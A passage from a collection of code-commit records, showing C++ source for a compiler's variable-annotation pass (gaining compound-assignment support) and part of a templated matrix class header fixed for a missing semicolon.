variable.Content->context->getVariable(variable.Content->variableName);\n        variable.Content->var->addReference();\n    }\n\n    void operator()(ast::ArrayValue& array){\n        if (!array.Content->context->exists(array.Content->arrayName)) {\n            throw SemanticalException(\"Array \" + array.Content->arrayName + \" has not been declared\");\n        }\n        \n        \/\/Reference the variable\n        array.Content->var = array.Content->context->getVariable(array.Content->arrayName);\n        array.Content->var->addReference();\n\n        visit(*this, array.Content->indexValue);\n    }\n\n    void operator()(ast::ComposedValue& value){\n        visit(*this, value.Content->first);\n        \n        for_each(value.Content->operations.begin(), value.Content->operations.end(), \n            [&](ast::Operation& operation){ visit(*this, operation.get<1>()); });\n    }\n\n    void operator()(ast::Plus& value){\n        visit(*this, value.Content->value);\n    }\n\n    void operator()(ast::Minus& value){\n        visit(*this, value.Content->value);\n    }\n\n    void operator()(ast::Import&){\n        \/\/Nothing to check here\n    }\n\n    void operator()(ast::StandardImport&){\n        \/\/Nothing to check here\n    }\n\n    void operator()(ast::TerminalNode&){\n        \/\/Terminal nodes have no need for variable checking    \n    }\n};\n\nvoid VariablesAnnotator::annotate(ast::SourceFile& program) const {\n    VariablesVisitor visitor;\n    visit_non_variant(visitor, program);\n}\n<commit_msg>Implement variables annotation for compound assignment<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <algorithm>\n#include <memory>\n\n#include <boost\/variant\/variant.hpp>\n\n#include \"VariablesAnnotator.hpp\"\n\n#include \"IsConstantVisitor.hpp\"\n#include \"GetTypeVisitor.hpp\"\n#include \"SemanticalException.hpp\"\n#include \"Context.hpp\"\n#include \"GlobalContext.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Types.hpp\"\n#include \"Variable.hpp\"\n\n#include \"Compiler.hpp\"\n#include \"Options.hpp\"\n#include \"TypeTransformer.hpp\"\n#include \"Utils.hpp\"\n\n#include \"VisitorUtils.hpp\"\n#include \"ASTVisitor.hpp\"\n\n#include \"ast\/SourceFile.hpp\"\n\nusing namespace eddic;\n\nstruct VariablesVisitor : public boost::static_visitor<> {\n    AUTO_RECURSE_PROGRAM()\n    AUTO_RECURSE_FUNCTION_CALLS()\n    AUTO_RECURSE_SIMPLE_LOOPS()\n    AUTO_RECURSE_BRANCHES()\n    AUTO_RECURSE_BINARY_CONDITION()\n   \n    void operator()(ast::FunctionDeclaration& declaration){\n        \/\/Add all the parameters to the function context\n        for(auto& parameter : declaration.Content->parameters){\n            Type type = visit(TypeTransformer(), parameter.parameterType);\n            \n            declaration.Content->context->addParameter(parameter.parameterName, type);    \n        }\n\n        visit_each(*this, declaration.Content->instructions);\n    }\n    \n    void operator()(ast::GlobalVariableDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->variableName)) {\n            throw SemanticalException(\"The global Variable \" + declaration.Content->variableName + \" has already been declared\");\n        }\n    \n        if(!visit(IsConstantVisitor(), *declaration.Content->value)){\n            throw SemanticalException(\"The value must be constant\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->variableType); \n        Type type(baseType, declaration.Content->constant);\n        declaration.Content->context->addVariable(declaration.Content->variableName, type, *declaration.Content->value);\n    }\n\n    void operator()(ast::GlobalArrayDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->arrayName)) {\n            throw SemanticalException(\"The global Variable \" + declaration.Content->arrayName + \" has already been declared\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->arrayType); \n        Type type(baseType, declaration.Content->arraySize, false);\n\n        declaration.Content->context->addVariable(declaration.Content->arrayName, type);\n    }\n    \n    void operator()(ast::Foreach& foreach){\n        if(foreach.Content->context->exists(foreach.Content->variableName)){\n            throw SemanticalException(\"The foreach variable \" + foreach.Content->variableName  + \" has already been declared\");\n        }\n\n        foreach.Content->context->addVariable(foreach.Content->variableName, stringToType(foreach.Content->variableType));\n\n        visit_each(*this, foreach.Content->instructions);\n    }\n    \n    void operator()(ast::ForeachIn& foreach){\n        if(foreach.Content->context->exists(foreach.Content->variableName)){\n            throw SemanticalException(\"The foreach variable \" + foreach.Content->variableName  + \" has already been declared\");\n        }\n        \n        if(!foreach.Content->context->exists(foreach.Content->arrayName)){\n            throw SemanticalException(\"The foreach array \" + foreach.Content->arrayName  + \" has not been declared\");\n        }\n\n        static int generated = 0;\n\n        foreach.Content->var = foreach.Content->context->addVariable(foreach.Content->variableName, stringToType(foreach.Content->variableType));\n        foreach.Content->arrayVar = foreach.Content->context->getVariable(foreach.Content->arrayName);\n        foreach.Content->iterVar = foreach.Content->context->addVariable(\"foreach_iter_\" + toString(++generated), stringToType(\"int\"));\n\n        visit_each(*this, foreach.Content->instructions);\n    }\n\n    void operator()(ast::Assignment& assignment){\n        if (!assignment.Content->context->exists(assignment.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + assignment.Content->variableName + \" has not  been declared\");\n        }\n\n        visit(*this, assignment.Content->value);\n\n        assignment.Content->context->getVariable(assignment.Content->variableName)->addReference();\n    }\n    \n    void operator()(ast::CompoundAssignment& assignment){\n        if (!assignment.Content->context->exists(assignment.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + assignment.Content->variableName + \" has not  been declared\");\n        }\n\n        visit(*this, assignment.Content->value);\n\n        assignment.Content->context->getVariable(assignment.Content->variableName)->addReference();\n    }\n    \n    void operator()(ast::SuffixOperation& operation){\n        if (!operation.Content->context->exists(operation.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + operation.Content->variableName + \" has not  been declared\");\n        }\n\n        operation.Content->variable = operation.Content->context->getVariable(operation.Content->variableName);\n        operation.Content->variable->addReference();\n    }\n    \n    void operator()(ast::PrefixOperation& operation){\n        if (!operation.Content->context->exists(operation.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + operation.Content->variableName + \" has not  been declared\");\n        }\n\n        operation.Content->variable = operation.Content->context->getVariable(operation.Content->variableName);\n        operation.Content->variable->addReference();\n    }\n\n    void operator()(ast::Return& return_){\n        visit(*this, return_.Content->value);\n    }\n\n    void operator()(ast::ArrayAssignment& assignment){\n        if (!assignment.Content->context->exists(assignment.Content->variableName)) {\n            throw SemanticalException(\"Array \" + assignment.Content->variableName + \" has not  been declared\");\n        }\n\n        visit(*this, assignment.Content->indexValue);\n        visit(*this, assignment.Content->value);\n\n        assignment.Content->context->getVariable(assignment.Content->variableName)->addReference();\n    }\n    \n    void operator()(ast::VariableDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + declaration.Content->variableName + \" has already been declared\");\n        }\n        \n        visit(*this, *declaration.Content->value);\n\n        BaseType baseType = stringToBaseType(declaration.Content->variableType);\n        Type type(baseType, declaration.Content->const_);\n\n        if(type.isConst()){\n            if(!visit(IsConstantVisitor(), *declaration.Content->value)){\n                throw SemanticalException(\"The value must be constant\");\n            }\n            \n            declaration.Content->context->addVariable(declaration.Content->variableName, type, *declaration.Content->value);\n        } else {\n            declaration.Content->context->addVariable(declaration.Content->variableName, type);\n        }\n    }\n    \n    void operator()(ast::ArrayDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->arrayName)) {\n            throw SemanticalException(\"The variable \" + declaration.Content->arrayName + \" has already been declared\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->arrayType); \n        Type type(baseType, declaration.Content->arraySize, false);\n\n        declaration.Content->context->addVariable(declaration.Content->arrayName, type);\n    }\n    \n    void operator()(ast::Swap& swap){\n        if (swap.Content->lhs == swap.Content->rhs) {\n            throw SemanticalException(\"Cannot swap a variable with itself\");\n        }\n\n        if (!swap.Content->context->exists(swap.Content->lhs) || !swap.Content->context->exists(swap.Content->rhs)) {\n            throw SemanticalException(\"Variable has not been declared in the swap\");\n        }\n\n        swap.Content->lhs_var = swap.Content->context->getVariable(swap.Content->lhs);\n        swap.Content->rhs_var = swap.Content->context->getVariable(swap.Content->rhs);\n\n        \/\/Reference both variables\n        swap.Content->lhs_var->addReference();\n        swap.Content->rhs_var->addReference();\n    }\n\n    void operator()(ast::VariableValue& variable){\n        if (!variable.Content->context->exists(variable.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + variable.Content->variableName + \" has not been declared\");\n        }\n\n        \/\/Reference the variable\n        variable.Content->var = variable.Content->context->getVariable(variable.Content->variableName);\n        variable.Content->var->addReference();\n    }\n\n    void operator()(ast::ArrayValue& array){\n        if (!array.Content->context->exists(array.Content->arrayName)) {\n            throw SemanticalException(\"Array \" + array.Content->arrayName + \" has not been declared\");\n        }\n        \n        \/\/Reference the variable\n        array.Content->var = array.Content->context->getVariable(array.Content->arrayName);\n        array.Content->var->addReference();\n\n        visit(*this, array.Content->indexValue);\n    }\n\n    void operator()(ast::ComposedValue& value){\n        visit(*this, value.Content->first);\n        \n        for_each(value.Content->operations.begin(), value.Content->operations.end(), \n            [&](ast::Operation& operation){ visit(*this, operation.get<1>()); });\n    }\n\n    void operator()(ast::Plus& value){\n        visit(*this, value.Content->value);\n    }\n\n    void operator()(ast::Minus& value){\n        visit(*this, value.Content->value);\n    }\n\n    void operator()(ast::Import&){\n        \/\/Nothing to check here\n    }\n\n    void operator()(ast::StandardImport&){\n        \/\/Nothing to check here\n    }\n\n    void operator()(ast::TerminalNode&){\n        \/\/Terminal nodes have no need for variable checking    \n    }\n};\n\nvoid VariablesAnnotator::annotate(ast::SourceFile& program) const {\n    VariablesVisitor visitor;\n    visit_non_variant(visitor, program);\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef BOP_MATRIX_HPP\n#define BOP_MATRIX_HPP\n\n#include <memory>\n#include <initializer_list>\n#include <string>\n#include <sstream>\n#include <new>\n#include \"Vector.hpp\"\n\n\/*\n\tbop::maths::Matrix class file\n*\/\n\nnamespace bop {\n\tnamespace maths{\n\t\ttemplate<class T>\n\t\tclass Matrix {\n\t\t\tprotected:\n\t\t\t\tunsigned int width;\n\t\t\t\tunsigned int height;\n\t\t\tpublic:\n\t\t\t\tVector<T>* data;\n\t\t\t\t\n\t\t\t\t\/\/Constructors\n\t\t\t\tMatrix(unsigned int size, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSquare matrix constructor, sets all values as\n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[size];\n\t\t\t\t\tfor (unsigned int i = 0; i < size; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(size, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = size;\n\t\t\t\t\tthis->height = size;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(unsigned int width, unsigned int height, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tNon-square matrix constructor, sets all values as \n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[height];\n\t\t\t\t\tfor (int i = 0; i < height; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(width, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->height = height;\n\t\t\t\t\tthis->width = width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(std::initializer_list< std::initializer_list<T> > list) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCreates a matrix from a 2-dimensional initializer_list.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->height = list.size();\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tunsigned int min_w = list.begin()->size();\n\t\t\t\t\tint i = 0;\n\t\t\t\t\tfor (auto elem : list) {\n\t\t\t\t\t\tif (elem.size() < min_w) min_w = elem.size();\n\t\t\t\t\t\tthis->data[i] = elem;\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = min_w;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCopy constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->width; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>&& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMove constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = mat.data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tEmpty constructor.\n\t\t\t\t\t*\/\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Destructor\n\t\t\t\t~Matrix() {\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Operator overloads\n\t\t\t\tinline Vector<T>& operator[] (const unsigned int index) {\n\t\t\t\t\treturn this->data[index];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator= (const Matrix<T> &mat) {\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Boolean logic overloads\n\t\t\t\tbool operator== (const Matrix<T>& mat) {\n\t\t\t\t\tif (this->width == mat.width && this->height == mat.height) {\n\t\t\t\t\t\tbool same = true;\n\t\t\t\t\t\tfor (unsigned int i = 0; i < this->height && same; i++) {\n\t\t\t\t\t\t\tsame = (this->data[i] == mat.data[i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn same;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool operator!= (const Matrix<T>& mat) {\n\t\t\t\t\treturn !(this->operator==(mat));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Arithmetic overloads\n\t\t\t\tMatrix<T>& operator*= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar multiplication member operator, multiplies all\n\t\t\t\t\t\telements by the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] *= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator*= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix multiplication member operator.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp = new Vector<T>[this->height];\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\ttemp[i] = Vector<T>(mat.width);\n\t\t\t\t\t}\n\t\t\t\t\tfor (int r = 0; r < this->height; r++) {\n\t\t\t\t\t\tfor (int c = 0; c < mat.width; c++) {\n\t\t\t\t\t\t\tT product = 0;\n\t\t\t\t\t\t\tfor (int i = 0; i < mat.width; i++) {\n\t\t\t\t\t\t\t\tproduct += (this->data[r][i] * mat.data[i][c]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ttemp[r][c] = product;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = temp;\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator\/= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar division member operator, divides all elements\n\t\t\t\t\t\tby the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] \/= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator+= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tAddition member operator, adds all the elements of a\n\t\t\t\t\t\tgiven matrix to the matrix.\n\t\t\t\t\t*\/\t\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] += mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator-= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSubtraction member operator, subtracts the value of\n\t\t\t\t\t\teach element in a given matrix from the matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] -= mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Information functions\n\t\t\t\tinline unsigned int w() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the width of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline unsigned int h() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the height of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->height;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline bool square() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the Matrix is a square Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn (this->width == this->height);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool identity() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the matrix is an identity matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tif (this->width == this->height) {\n\t\t\t\t\t\tbool identity = true;\n\t\t\t\t\t\tfor (unsigned int y = 0; y < this->height && identity; y++) {\n\t\t\t\t\t\t\tfor (unsigned int x = 0; x < this->width && identity; x++) {\n\t\t\t\t\t\t\t\tif (x == y) identity = (this->data[y][x] == 1);\n\t\t\t\t\t\t\t\telse identity = (this->data[y][x] == 0);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn identity;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string string(bool newlines = true) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSimilar to the maths::Vector::string function, returns \n\t\t\t\t\t\ta human-readable representation of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tstd::ostringstream mat_str;\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tmat_str << '[' << this->data[i].string(false) << ']';\n\t\t\t\t\t\tif (newlines) mat_str << '\\n';\n\t\t\t\t\t}\n\t\t\t\t\treturn mat_str.str();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Matrix manipulation functions.\n\t\t\t\t\n\t\t\t\tinline void swapRows(unsigned int index_a, unsigned int index_b) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tRow swap function, for use in such algorithms as Gauss-Jordan\n\t\t\t\t\t\telimination.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data[index_a].swap(this->data[index_b]);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvoid swap(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix object swap function.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp_arr = mat.data;\n\t\t\t\t\tunsigned int temp_w = mat.width;\n\t\t\t\t\tunsigned int temp_h = mat.height;\n\t\t\t\t\tmat.data = this->data;\n\t\t\t\t\tmat.width = this->width;\n\t\t\t\t\tmat.height = this->height;\n\t\t\t\t\tthis->data = temp_arr;\n\t\t\t\t\tthis->width = temp_w;\n\t\t\t\t\tthis->height = temp_h;\n\t\t\t\t}\n\t\t};\n\t\t\n\t\t\/\/External arithmetic overloads\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> &mat, const T scalar) {\n\t\t\tMatrix<T> mat_p(mat);\n\t\t\tmat_p *= scalar;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_p(mat1);\n\t\t\tmat_p *= mat2;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator\/ (Matrix<T> &mat, const T scalar) {\n\t\t\tMatrix<T> mat_p(mat)\n\t\t\tmat_p \/= scalar;\n\t\t\treturn mat_p;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator+ (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_sum(mat1);\n\t\t\tmat_sum += mat2;\n\t\t\treturn mat_sum;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator- (Matrix<T> &mat1, Matrix<T>& mat2) {\n\t\t\tMatrix<T> mat_sum(mat1);\n\t\t\tmat_sum -= mat2;\n\t\t\treturn mat_sum;\n\t\t}\n\t\t\n\t\t\/\/Matrix related functions\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat, Vector<bool>& allowed_cols, unsigned int& size) {\n\t\t\t\/*\n\t\t\t\tRecursive matrix determinant function.\n\t\t\t*\/\n\t\t\tif (size == 2) {\n\t\t\t\t\/\/the  base case, finding the 2 by 2 matrix determinant\n\t\t\t\tint c1 = -1, c2 = -1;\n\t\t\t\tfor (unsigned int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (allowed_cols[i]) {\n\t\t\t\t\t\tif (c1 < 0) {\n\t\t\t\t\t\t\tc1 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (c2 < 0) {\n\t\t\t\t\t\t\tc2 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn (mat[mat.h() - 2][c1] * mat[mat.h() - 1][c2]) - (mat[mat.h() - 2][c2] * mat[mat.h() - 1][c1]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsize--;\n\t\t\t\tT product = 0;\n\t\t\t\tT multi = 1;\n\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (!allowed_cols[i]) continue;\n\t\t\t\t\telse {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[mat.h() - size][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsize++;\n\t\t\t\treturn product;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tT determinant(const Matrix<T>& mat) {\n\t\t\t\/*\n\t\t\t\tMatrix determinant init function.\n\t\t\t*\/\n\t\t\tif (!mat.square()) return static_cast<T>(0);\n\t\t\telse {\n\t\t\t\tif (mat.w() == 2) {\n\t\t\t\t\t\/\/shortcut to determinant of a 2 by 2 matrix\n\t\t\t\t\treturn (mat[0][0] * mat[1][1]) - (mat[0][1] * mat[1][0]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tVector<bool> allowed_cols(mat.w(), true);\n\t\t\t\t\tT product = 0;\n\t\t\t\t\tT multi = 1;\n\t\t\t\t\tint size = mat.h() - 1;\n\t\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[0][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t}\n\t\t\t\t\treturn product;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> identityMatrix(unsigned int size) {\n\t\t\t\/*\n\t\t\t\tReturns an Identity Matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> unit_m(size);\n\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\tunit_m[i] = 1;\n\t\t\t}\n\t\t\treturn unit_m;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tbool invertable(Matrix<T> &mat) {\n\t\t\treturn (mat.square() && determinant(mat) != 0);\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> inverseMatrix(Matrix<T> mat, bool tested = true) {\n\t\t\t\/*\n\t\t\t\tMatrix inverse by Gauss-Jordan method ([A|I] -> [I|A']).\n\t\t\t\tAssumes that the matrix has already been tested as invertible. \n\t\t\t\ttakes a COPY of a matrix, as this method requires the \n\t\t\t\tmanipulation of the rows of the matrix.\n\t\t\t*\/\n\t\t\tif (!tested && invertable(mat) == 0) {\n\t\t\t\t\/*\n\t\t\t\t\tIn the case that the matrix is not invertible, the function will\n\t\t\t\t\treturn an identity matrix with the height of the given matrix.\n\t\t\t\t*\/\n\t\t\t\treturn identityMatrix(mat.h());\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (mat.h() == 2) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\t2 by 2 matrix shortcut.\n\t\t\t\t\t*\/\n\t\t\t\t\tT temp = mat[0][0];\n\t\t\t\t\tmat[0][0] = mat[1][1];\n\t\t\t\t\tmat[1][1] = temp;\n\t\t\t\t\ttemp = mat[1][0];\n\t\t\t\t\tmat[1][0] = -mat[0][1];\n\t\t\t\t\tmat[0][1] = -temp;\n\t\t\t\t\treturn mat;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tMatrix<T> inverse = identityMatrix(mat.h());\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSort the matrix rows by pivot index and \n\t\t\t\t\t*\/\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> transposeMatrix(Matrix<T> &mat) {\n\t\t\t\/*\n\t\t\t\tCreates & returns a transposed version of the given matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> trans(mat.h(), mat.w(), 0);\n\t\t\tfor (unsigned int y = 0; y < mat.h(); y++) {\n\t\t\t\tfor (unsigned int x = 0; x < mat.w(); x++) {\n\t\t\t\t\ttrans[x][y] = mat[y][x];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn trans;\n\t\t}\n\t\n\t}\n}\n\n#endif<commit_msg>Missing semicolon<commit_after>#ifndef BOP_MATRIX_HPP\n#define BOP_MATRIX_HPP\n\n#include <memory>\n#include <initializer_list>\n#include <string>\n#include <sstream>\n#include <new>\n#include \"Vector.hpp\"\n\n\/*\n\tbop::maths::Matrix class file\n*\/\n\nnamespace bop {\n\tnamespace maths{\n\t\ttemplate<class T>\n\t\tclass Matrix {\n\t\t\tprotected:\n\t\t\t\tunsigned int width;\n\t\t\t\tunsigned int height;\n\t\t\tpublic:\n\t\t\t\tVector<T>* data;\n\t\t\t\t\n\t\t\t\t\/\/Constructors\n\t\t\t\tMatrix(unsigned int size, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSquare matrix constructor, sets all values as\n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[size];\n\t\t\t\t\tfor (unsigned int i = 0; i < size; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(size, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = size;\n\t\t\t\t\tthis->height = size;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(unsigned int width, unsigned int height, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tNon-square matrix constructor, sets all values as \n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[height];\n\t\t\t\t\tfor (int i = 0; i < height; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(width, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->height = height;\n\t\t\t\t\tthis->width = width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(std::initializer_list< std::initializer_list<T> > list) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCreates a matrix from a 2-dimensional initializer_list.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->height = list.size();\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tunsigned int min_w = list.begin()->size();\n\t\t\t\t\tint i = 0;\n\t\t\t\t\tfor (auto elem : list) {\n\t\t\t\t\t\tif (elem.size() < min_w) min_w = elem.size();\n\t\t\t\t\t\tthis->data[i] = elem;\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = min_w;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>& mat) 